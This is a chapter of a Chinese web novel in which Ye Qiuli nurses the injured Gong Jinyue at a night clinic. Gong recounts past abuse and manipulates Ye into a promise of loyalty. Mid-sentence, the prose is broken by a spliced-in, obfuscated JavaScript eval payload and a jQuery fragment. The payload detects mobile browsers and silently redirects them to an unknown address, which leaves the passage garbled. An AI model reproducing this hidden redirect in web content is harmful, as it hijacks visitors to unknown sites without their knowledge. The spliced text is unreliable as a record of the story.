是不是从一开始,他本来就是个拙态百出的猎手,轻而易举就露出了可笑的破绽?只是自以为高明。
亦或是,他熟练地利用自己的伤口,轻易地被对方的一举一动牵动,被勾勾手指,就动弹不得,宛如落入陷阱无法挣扎的猎物。
他才是那只可怜的猎物。
是这样吗。宫浸月几乎咬牙切齿。
叶秋梨牵着宫浸月的手,晃了晃,语意软和地跟宫浸月打商量。
“你跟我回家好不好。你这样会被别人欺负的,要是你想走,等…等你伤口好了还想走的话…”
宫浸月立刻打断叶秋梨:“嗯。”
叶秋梨的表情茫然了一瞬间,嘴巴微张,过了三四秒以后才反应过来,双眼亮晶晶看着宫浸月。
“真的?!你同意啦?!太好了我不再是一个人了,那我们一起回家…”
叶秋梨很快又反应过来:“不对,你这样,我们得去医院,正好我带了存折和现金,对,我们先去看医生,然后再回家,你说好吗。”
-
夜晚。小诊所。
叶秋梨不明白宫浸月为什么坚决不肯跟他去大医院。
小诊所多不靠谱啊,手受伤这么严重,万一给哪个庸医治坏了怎么办呢。
如果以后被某个商业对手知道这个龙傲天有一只手是坏的,那多没有面子。
龙傲天就应该是完美的,强大的,无所不能的。
叶秋梨忧心忡忡,千万不能在今天留下什么后遗症才好。
而且明明自己身上带了钱呀,不要怕花钱嘛。
宫浸月从头到尾只沉默。并不回答叶秋梨的问题。
不过去到小诊所,发现那里的老头儿医生还是比较有良心的。诊所的机器也设备齐全,心肠也软乎,凶巴巴地指着哥弟俩并不存在的家长骂了大半天。
老头儿骂累了,末了喝了口茶,还问宫浸月要不要报警,他是可以帮忙作证的。
宫浸月摇了摇头,似乎是怕麻烦,只说想不开自己拿刀子割的。没人伤害他。
叶秋梨在旁边看着医生帮宫浸月裹纱布,好好的一只手裹得严严实实的跟包粽子一样。叶秋梨心疼得讲不出话。
后半夜,在输液室打吊水。
这会儿半夜里,输液室空得差不多了,有两三个半夜发烧的小孩抽泣着要糖吃,家长在一边苦心安慰,还有个大人举着吊水针打瞌睡。
一个小护士坐在输液室门口刷视频软件,托着下巴,也是昏昏欲睡的样子。
叶秋梨陪在宫浸月身边。依旧抱着他那个旧书包,跟抱着什么金贵的宝贝一样。
宫浸月自己把药和单子拿好了,催叶秋梨回家:“太晚了,你自己先回去吧,明天不是还得上学?”
叶秋梨摇摇头:“从今天起你就是我的弟弟,作为哥哥我应该在这儿守护你。你睡吧,流这么多血,是不是头晕。”
宫浸月愣了愣。旋即笑了一下:“你是不是很爱看那种武侠小说?”
叶秋梨心想对啊,我可是男频武侠小说好几个作者大大的榜一,还被老天爷选中投放到龙傲天次元世界,来到你的身边,绝对是爱武侠小说爱到一定境界了——
“你是怎么知道的?”叶秋梨问宫浸月。
“应该没人会像你这样。幼稚,冲动,还总是像个在最前面冲锋的热血骑士,笨死了。”
“喂,你怎么能这么说我。”
“但是,很了不起。”
“…………”
空气里安静了一会儿,叶秋梨本来一脸不满,气鼓鼓地看着宫浸月。
然而突然听到宫浸月竟然夸他,说他很了不起,还用那种看起来有点温柔的眼神,看着他,讲出这句话。
叶秋梨瞬间像只被摸了脑袋的小猫仔,怎么也凶不起来了。
叶秋梨低下头,脸红红的,有些纠结:“好吧,也一般般啦…我也没帮上什么忙…,要是没有你,我肯定就被他们打劫成功了…”
叶秋梨讲话的时候小小声的,鼓着嘴唇,眼睫不安地闪烁着,雪腮透着一股绯红,宛如一枚橱窗里精致又软糯的草莓雪媚娘。
宫浸月突然伸手,捏了捏叶秋梨柔软的耳垂。
“嗯?”叶秋梨停止了讲话,抬起头来。一双杏眸望向宫浸月。
宫浸月收回了手,若无其事,淡淡道:“有脏东西黏上你了。”
“咦?”叶秋梨根本没察觉到,拍拍自己的耳朵,“是什么?是小虫子吗?”
宫浸月:“没看清。不过已经被我赶走了。”
“哦…已经走了,谢谢你呀。”叶秋梨还是晃了晃脑袋,低头又看到宫浸月裹着纱布的手,心又揪着了,摸摸宫浸月的手臂,问他,“疼不疼呀。”
“不。”
“真的吗?跟我你还逞什么强,我不会笑话你的。有一次我帮花匠爷爷铲月季,不小心让锄头砸了脚,我立刻在花园里大喊大叫了半天,疼得眼泪都出来了!没人笑话我呢,所以喊疼一点都不丢脸。”
“真的不疼。…这样的伤,我…,受过很多次。”宫浸月不动声色道。
叶秋梨果然又立刻心疼起来了,手指紧紧地纠着,抓住宫浸月的小臂。
宫浸月说:“嘴里被放过刀片,稍微说话刀片就会割到舌头,那才真是痛到整个人都在发晕,很早起来就要训练,偷懒或者没打过同伴就要受一顿棍打,骨头整个断过,脚被上过锁链,三十斤重,我没办法逃掉,还要拖着锁链给他们洗衣服,扫地,做饭…”
叶秋梨皱着眉,已经听不下去了。眼睛水汪汪的。同理心太强,光是听着宫浸月描述,就能想象出那个画面,也就跟着宫浸月疼了一遍又一遍。
宫浸月继续说:“在这其中的一些人,一开始也是对我很好的,给我蒸鱼吃,给我买新鞋子,也跟你说过一模一样的话,说跟我走吧,我们在一起,我们有家了。…太多次,我相信过,但是我每次的下场都很惨烈。”
叶秋梨已经讲不出话,默默流眼泪。
宫浸月说:“你带我回家,用电线把我绑起来,我以为又遇上什么人了,直到你说你会爱我…说我们是家人…我听了很反感,我的人生好像一个死胡同,不断地遇见类似的npc,他们有女人,有老人,有男人,说着类似的话,又每次都会让我失望,以及受伤,太多次…。”
"你出现了,叶秋梨。这一次,我选择先让自己受伤。"宫浸月向叶秋梨展示自己裹满纱布的手掌,他的目光依旧温柔又哀伤,看着叶秋梨。
“我走了这么久,一开始哭过,没有用,于是我不哭了,不过仍旧是受了很多伤。”
“今晚这一刀,我不疼,也不后悔。”
“可是毕竟这伤口很深,我也吃过苦头了,是我自己清醒着咽下这一刀的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443006|169387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叶秋梨,你就不要再让我流血,流眼泪了好吗,好不好,答应我吗。”
叶秋梨听着,哭得很难受,脸通红,一滴一滴眼泪砸下来,他想起了很多事,含糊哽咽道:“对不起……我来得太迟了。都是我的错,我来得太迟了,我害得你差点死掉。”
“不关你的事。”
“就是关我的事。”聪明的宫浸月也许没感觉错,前面那些都是npc,遇见,假装对他好,然后伤害他。是龙傲天小说里,标准的主角成长前期的炮灰人设。
叶秋梨看小说的时候,从没把这些前期炮灰放在眼里,主角前期受过的那些伤,在读者叶秋梨心里也留不下什么痕迹。
他更期待的是主角成长以后去对付那些逆天boss,boss够强虐起来才爽!
可是如果主角抗不到后期呢?有没有人想过这个问题?而且宫浸月在这个时候还是个未成年!
吃不饱,睡不好,刀片放嘴里,经常遭受棍打,骨头断掉…然而他还没死去。
因为他是龙傲天,他有超乎常人的身体素质,以及顽强的意志力。
他必须活着,清醒地受罪,直到等到那个“宅心仁厚的血包npc”到来。
他终于来了。姗姗来迟。
可是龙傲天在此之前已经受过这么多折磨!
那么痛苦!还记得一开始见面的眼神?冷酷,残忍,扭曲,疯戾,都是被炮灰npc害得。这不是宫浸月的错。
叶秋梨抱住宫浸月,伤心得嘴巴撅起来,呜呜大哭:“我来得太晚了。”
输液室里的其他人都看过来,一开始还以为是叶秋梨在吊水呢,仔细一看,不是啊,他是陪护,反而是吊水那个,在安慰着呜呜哭的那个小孩。
宫浸月抱着叶秋梨,往右边侧了一下,默不作声,用身体挡住其他人的视线。
叶秋梨的脸埋在宫浸月的肩膀上,吃瓜群众看不到那个正在呜呜哭的那个小孩长什么样子了。
宫浸月低头,揉揉叶秋梨的背,温声安慰:“不晚啊。我还好好活着呢。所以…”
他是坚决要一个承诺的。
“叶秋梨,你不要再让我受到背叛,不要再让我流眼泪了,答应我吗。”
叶秋梨怎么可能不答应他。
他哭了一会,抹抹眼泪,看着宫浸月脖子上的玉佩,又看着他的脸,一脸认真道:“我不会再让你难过的,你是我最喜欢的人,是我存在这个世界上的意义。”
是存在,不是活着。叶秋梨隐去了一些龙傲天剧本的真相,反正说了宫浸月也不懂,还有可能会让他误以为自己是神经病呢。
叶秋梨已经百分百确认,宫浸月是龙傲天,玉佩,这么曲折的出身,如鬼打墙般的炮灰npc,还在遇见他这个“宅心仁厚的血包”,世界简直是围绕宫浸月运转的。
他怎么可能不是自己最最最最最最喜欢的主角龙傲天。
听到叶秋梨的承诺,宫浸月叹息地闭上了双眼。伸手抱住叶秋梨,脸埋在叶秋梨的颈后,似亲似嗅。
宫浸月的脸陷入阴影里,输液室头顶的灯开得有些暗,偶尔还闪烁一下,宫浸月埋得只有半张脸露出来。
没人看不清他的表情。阴森森的,恨不得往他身上贴两张黄纸符咒镇压。
在叶秋梨伤心欲绝的哭声里,宫浸月唇角的一侧微微勾起。闭上眼,露出了一个愉悦的微笑。